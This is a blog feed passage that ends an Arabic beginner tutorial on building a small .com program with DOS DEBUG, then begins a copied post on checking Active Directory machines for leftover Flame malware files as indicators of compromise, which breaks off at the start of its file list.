<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-0ugrgz_ComA/T9zgJX3OZHI/AAAAAAAAAQk/aMeJ6T6orSg/s1600/size.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="165" src="http://1.bp.blogspot.com/-0ugrgz_ComA/T9zgJX3OZHI/AAAAAAAAAQk/aMeJ6T6orSg/s320/size.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">كل اللي
يهمنا هو الجمله الاخيره دي </span><span dir="LTR"></span><span dir="LTR" style="color: #cc99ff;"><span dir="LTR"></span>001B </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> دي مساحة البايتات اللي
الاكود مستخدماها بالهكس طبعا . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">دلوقتي
عايزين ننشئ البرنامج الـ </span><span dir="LTR" style="color: #cc99ff;">executable </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> اللي يمكن قرأته فعلا ويبقي ملف تنفيذي<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span dir="LTR"></span><span style="color: #cc99ff;"><span dir="LTR"></span>-n ahmed.com<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span dir="LTR" style="color: #cc99ff;">-n </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> وهي الاشاره الي </span><span dir="LTR" style="color: #cc99ff;">new file </span><span dir="RTL"></span><span style="color: #cc99ff;"><span dir="RTL"></span> </span><span dir="LTR" style="color: #cc99ff;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-njlxzBXQDnk/T9zgC9HtVGI/AAAAAAAAAQE/WclJkWs66M4/s1600/new.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="167" src="http://4.bp.blogspot.com/-njlxzBXQDnk/T9zgC9HtVGI/AAAAAAAAAQE/WclJkWs66M4/s320/new.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span dir="LTR"></span><span dir="LTR" style="color: #cc99ff;"><span dir="LTR"></span>- </span><span dir="RTL"></span><span style="color: #cc99ff;"><span dir="RTL"></span> </span><span dir="LTR" style="color: #cc99ff;">ahmed </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> دا اسم الملف التنفيذي اللي هننشأه وممكن تغيروه
لاي اسم<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">- </span><span dir="LTR"></span><span dir="LTR" style="color: #cc99ff;"><span dir="LTR"></span>.com </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> دا امتداد الملف التنفيذي اللي هينشأ </span><span dir="LTR" style="color: #cc99ff;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">مش فاضل
غير اننا نطبع الاوامر دي كلها في مسجل </span><span dir="LTR" style="color: #cc99ff;">CX </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> واحنا عارفين طبعا ان المسجل دا هو الـ </span><span dir="LTR" style="color: #cc99ff;">counter </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> واللي بيحسب بالظبط عدد
الاوامر اللي هتتنفذ فهنحتاج للامر </span><span dir="LTR" style="color: #cc99ff;">rcx </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> وهنطبع عدد البايتات بالهكس اللي احنا
استخرجناها . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span style="color: #cc99ff;">Rcx
<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span> ومن ثم انتر <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL" lang="AR-EG" style="color: #cc99ff;">وبعدها ندخل القيمة <o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="LTR"></span><span style="color: #cc99ff;"><span dir="LTR"></span>001B<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span lang="AR-EG" style="color: red;">ملحوظه في
الصوره اللي فوق طلع ايرور عشان كتبت </span></b><b><span dir="LTR" style="color: red;">rcx </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="color: red;"><span dir="RTL"></span> وجنبها رقم البايتات علي طول . المفروض </span></b><b><span dir="LTR" style="color: red;">rcx </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="color: red;"><span dir="RTL"></span> ومن ثم انتر وبعدها ندخل عدد البايتات .<o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-3KN3prX6dl4/T9zgHdFP4_I/AAAAAAAAAQc/PwqXEOJxx3A/s1600/rcx.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="166" src="http://2.bp.blogspot.com/-3KN3prX6dl4/T9zgHdFP4_I/AAAAAAAAAQc/PwqXEOJxx3A/s320/rcx.PNG" width="320" /></a></div>
<span style="color: red;"><b><br /></b></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span lang="AR-EG" style="font-size: 11pt;">كل
حاجه تمام مش فاضل غير اننا نعمل </span></b><b><span dir="LTR" style="font-size: 11pt;">write </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 11pt;"><span dir="RTL"></span> جوه الـ </span></b><b><span dir="LTR" style="font-size: 11pt;">CX </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 11pt;"><span dir="RTL"></span> بالبايتات اللي حددناها بمجرد الضغط علي </span></b><b><span dir="LTR" style="font-size: 11pt;">w </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 11pt;"><span dir="RTL"></span> ومن ثم انتر <o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-JE_GD0mPjaA/T9zgOfqZBSI/AAAAAAAAARE/NhLXPvON_5Q/s1600/write.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="164" src="http://2.bp.blogspot.com/-JE_GD0mPjaA/T9zgOfqZBSI/AAAAAAAAARE/NhLXPvON_5Q/s320/write.PNG" width="320" /></a></div>
<span style="font-size: 15px;"><b><br /></b></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span lang="AR-EG" style="font-size: 11pt;">جاري
كتابة البايتات علي المسجل . وبكدا نكون انتهينا من البرنامج مجرد ندوس انتر مره
اخر ومن ثم </span></b><b><span dir="LTR" style="font-size: 11pt;">q </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 11pt;"><span dir="RTL"></span> وبعدها انتر مره اخري للخروج </span></b><span dir="LTR"></span><b><span dir="LTR" style="font-size: 11pt;"><span dir="LTR"></span>. <o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span lang="AR-EG" style="font-size: 11pt;">طيب
دلوقتي عايزين نستعدي البرنامج مره ونشغله عشان نشوف هيطبع الجمله ولا لأ . <o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-l1xYyQho2Cg/T9zgLpNSZ5I/AAAAAAAAAQ0/aDlaxHC0Reg/s1600/welcome.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="http://4.bp.blogspot.com/-l1xYyQho2Cg/T9zgLpNSZ5I/AAAAAAAAAQ0/aDlaxHC0Reg/s320/welcome.PNG" width="320" /></a></div>
<span style="font-size: 15px;"><b><br /></b></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span lang="AR-EG" style="font-size: 11pt;">طبعا
لغة الاسمبلي دي كانت مهزله </span></b><span dir="LTR"></span><b><span dir="LTR" style="font-family: Wingdings; font-size: 11pt;"><span dir="LTR"></span>J</span></b><b><span dir="LTR" style="font-size: 11pt;"> </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 11pt;"><span dir="RTL"></span> لما واحد
يقعد ساعه عشان يكتب كود مجرد يطبع جمله فمابالكم عشان يعمل برنامج يقوم بعمليات
حسابيه ممكن يقعد قد ايه </span></b><span dir="LTR"></span><b><span dir="LTR" style="font-family: Wingdings; font-size: 11pt;"><span dir="LTR"></span>J</span></b><b><span dir="LTR" style="font-size: 11pt;"> </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 11pt;"><span dir="RTL"></span> فالحمد لله
انه فيه لغة برمجه عاليه المستوي هنتعلمها في الدرس الجاي ان شاء الله . اتمني ان
تعود الافاده علي الجميع واسف علي الاطاله ولكني حبيت اوضح كل الاساسيات عشان نقدر
ندخل بعد كده في لغة الـ </span></b><b><span dir="LTR" style="font-size: 11pt;">C </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 11pt;"><span dir="RTL"></span> واحنا عارفين ايه الفرق بين الـ </span></b><b><span dir="LTR" style="font-size: 11pt;">low level language </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 11pt;"><span dir="RTL"></span> والـ </span></b><b><span dir="LTR" style="font-size: 11pt;">High Level language</span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 11pt;"><span dir="RTL"></span> وازاي بتشتغل انظمة التشغيل وانواعها . <o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<b><u><span style="color: red; font-size: 11pt;">With My Best Wishes<o:p></o:p></span></u></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<b><u><span style="color: red; font-size: 11pt;">Ahmed Sherif<o:p></o:p></span></u></b></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<div style="direction: ltr; text-align: left;">
<span style="color: #3366ff;"><span style="font-size: 15px;"><b><u>You Can Download PDF Files : <a href="https://www.box.com/s/066b55322ac9ae69c88e">Here </a> or <a href="http://www.mediafire.com/?99nytx55x2jumfz">HERE</a></u></b></span></span></div>
</div>
</div>Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-50700685594439416692012-06-15T03:59:00.001-07:002012-06-26T10:03:41.116-07:00Looking for Flame malware in AD domain environment (Part 1)<div dir="rtl" style="text-align: right;" trbidi="on">
<div dir="ltr" style="text-align: center;">
<img src="http://eldeeb.net/wrdprs/wp-content/uploads/2012/06/flame.jpg" />
<br />
<h3>
<span style="color: red;">Attention : This Post has been Copied From <a href="http://eldeeb.net/wrdprs/?p=17">Sherif Eldeeb Blog</a></span></h3>
</div>
<div dir="ltr" style="text-align: center;">
</div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Even though this post is focusing on finding flame malware files in a windows domain environment, the concepts are valid for looking for “any” particular file in your domain machines.</div>
<ul style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; list-style: square; margin: 0px 0px 1.625em 2.5em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">If you do not know what’s flame, look <a href="http://en.wikipedia.org/wiki/Flame_(malware)" style="border: 0px; color: #1982d1; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">here</a>.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">A list of flame Command and Control servers (DNS & IPs) can be found <a href="https://code.google.com/p/visiblerisk/downloads/list" style="border: 0px; color: #1982d1; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">here</a>.</li>
</ul>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
In this post, we will be looking for the existence of<span style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline;"> Flame malware files</span> on every single machine in an active directory using windows’ built in tools (+PsExec).</div>
<h1 style="background-color: white; border: 0px; clear: both; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Introduction</h1>
<h2 style="background-color: white; border: 0px; clear: both; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
What is Indicators of Compromise (IOC)?</h2>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
It is a description of technical characteristics that identify a known threat, an attacker’s methodology, or other evidence of compromise, This usually includes artifacts left by an intrusion by looking for the following:</div>
<ul style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; list-style: square; margin: 0px 0px 1.625em 2.5em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Network connection attempts to Command and Control Servers.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Malware Files (DLL, EXE…etc.)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Registry Keys</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Running Processes</li>
</ul>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
I’m in the Middle East, and we are worried that any of our machines has been (is still) infected with the Flame malware, and we wanted a quick way to check them all in one shot.</div>
<h1 style="background-color: white; border: 0px; clear: both; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
IOC - Malware files</h1>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Flame has a specific set of files that will get created on Infected machines, one notable file is “~DEB93D.tmp” which is left behind even after malware’s removal, finding this particular file is an indication of previous infection.</div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
The list of flame files that we will be looking for:</div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<div class="syntaxhighlighter notranslate bash" id="highlighter_356761" style="background-color: white !important; border: 0px; font-family: inherit; font-size: 1em !important; font-style: inherit; margin: 1em 0px !important; outline: 0px; overflow: auto !important; padding: 0px; position: relative !important; vertical-align: baseline; width: 567px;">
<div class="toolbar" style="background-color: rgb(108, 226, 108) !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: none !important; bottom: auto !important; box-sizing: content-box !important; color: white !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 10px !important; height: 11px !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: absolute !important; right: 1px !important; text-align: left !important; top: 1px !important; vertical-align: baseline !important; width: 11px !important; z-index: 10 !important;">
<span style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><a class="toolbar_item command_help help" href="http://eldeeb.net/wrdprs/?p=17#" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: white !important; display: block !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 1px 0px 0px !important; position: static !important; right: auto !important; text-align: center !important; text-decoration: none !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">?</a></span></div>
<table border="0" cellpadding="0" cellspacing="0" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-spacing: 0px; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: 567px;"><tbody style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">
<tr style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><td class="gutter" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(175, 175, 175) !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><div class="line number1 index0 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
1</div>
<div class="line number2 index1 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
2</div>
<div class="line number3 index2 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
3</div>
<div class="line number4 index3 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
4</div>
<div class="line number5 index4 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
5</div>
<div class="line number6 index5 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
6</div>
<div class="line number7 index6 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
7</div>
<div class="line number8 index7 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
8</div>
<div class="line number9 index8 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
9</div>
